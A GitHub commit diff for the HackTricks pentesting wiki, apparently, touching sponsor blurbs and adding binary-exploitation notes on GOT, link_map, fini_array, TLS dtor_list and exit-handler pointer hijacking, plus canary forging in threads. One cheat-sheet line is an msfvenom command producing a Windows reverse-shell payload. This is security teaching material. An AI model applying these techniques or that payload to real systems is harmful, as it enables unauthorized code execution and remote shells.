Skip to content

Commit

Permalink
GITBOOK-4304: No subject
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Apr 7, 2024
1 parent 99cd795 commit aeb0e65
Show file tree
Hide file tree
Showing 8 changed files with 275 additions and 21 deletions.
Binary file added .gitbook/assets/image (1201).png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
26 changes: 9 additions & 17 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -69,14 +69,9 @@ Get Access Today:

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
* **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
* **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
* **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

Expand All @@ -98,14 +93,11 @@ Stay informed with the newest bug bounties launching and crucial platform update

SerpApi offers fast and easy real-time APIs to **access search engine results**. They scrape search engines, handle proxies, solve captchas, and parse all rich structured data for you.

A subscription to one of SerpApi’s plans includes access to over 50 different APIs for scraping different search engines, including Google, Bing, Baidu, Yahoo, Yandex, and more.

Unlike other providers, SerpApi doesn’t just scrape organic results. SerpApi responses consistently include all ads, inline images and videos, knowledge graphs, and other elements and features present in the search results.

Current SerpApi customers include Apple, Shopify, and GrubHub.

For more information check out their [blog](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**
A subscription to one of SerpApi’s plans includes access to over 50 different APIs for scraping different search engines, including Google, Bing, Baidu, Yahoo, Yandex, and more.\
Unlike other providers, **SerpApi doesn’t just scrape organic results**. SerpApi responses consistently include all ads, inline images and videos, knowledge graphs, and other elements and features present in the search results.

Current SerpApi customers include **Apple, Shopify, and GrubHub**.\
For more information check out their [**blog**](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**\
You can **create a free account** [**here**](https://serpapi.com/users/sign\_up)**.**

***
Expand All @@ -120,7 +112,7 @@ You can **create a free account** [**here**](https://serpapi.com/users/sign\_up)

### [WebSec](https://websec.nl/)

<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>

[**WebSec**](https://websec.nl) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach.

Expand All @@ -130,7 +122,7 @@ Another cool thing about WebSec is that unlike the industry average WebSec is **

In addition to the above WebSec is also a **committed supporter of HackTricks.**

{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>

## License & Disclaimer

Expand Down
8 changes: 8 additions & 0 deletions binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,14 @@ If **`system`** **isn't used** by the script, the system function **won't** have

You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**

## libc GOT entries

The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).

Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.

Find [**more information about this tachnique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).

## **One Gadget**

{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,230 @@ In order to abuse **`.fini_array`** to get an eternal loop you can [**check what
Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
{% endhint %}

## link\_map

As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), If the program exist using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.

{% hint style="danger" %}
If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
{% endhint %}

The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):

```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));

while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]




// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
There are a **couple of options**:
* Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
* Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
* [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
* According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```

In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).

## TLS-Storage dtor\_list overwrite in **`__run_exit_handlers`**

As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.

Code from `_run_exit_handlers()`:

```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```

For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.

Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR\_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR\_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** as setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**

Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:

```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```

So you need to take this into account before adding a new address.

Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).

## Other mangled pointers in **`__run_exit_handlers`**

This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.

Let's check more code of this function:



```c
while (true)
{
struct exit_function_list *cur;

restart:
cur = *listp;

if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}

while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}

if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}

__libc_lock_unlock (__exit_funcs_lock);
```
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ Other ways to support HackTricks:

## Metasploit

```
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
Expand All @@ -26,15 +26,17 @@ msfelfscan -j esi /opt/fusion/bin/level01

### Shellcodes

```
{% code overflow="wrap" %}
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
{% endcode %}

## GDB

### Install

```
```bash
apt-get install gdb
```

Expand Down Expand Up @@ -96,6 +98,8 @@ x/i $eip # Instructions of the EIP

### [GEF](https://github.com/hugsy/gef)

You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.

```bash
help memory # Get help on memory command
canary # Search for canary value in memory
Expand Down Expand Up @@ -176,6 +180,14 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
![](<../../../.gitbook/assets/image (1058).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -68,8 +68,12 @@ The stack vulnerable to a stack overflow might **contain addresses to strings or

A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).

Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

Check also the presentation of [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.

* **Modify the GOT entry of `__stack_chk_fail`**

If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -122,9 +122,12 @@ log.info(f"The canary is: {canary}")

Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;

Moreover, a buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

Check also the presentation of [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.

## Other examples & references

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
Expand Down
Loading

0 comments on commit aeb0e65

Please sign in to comment.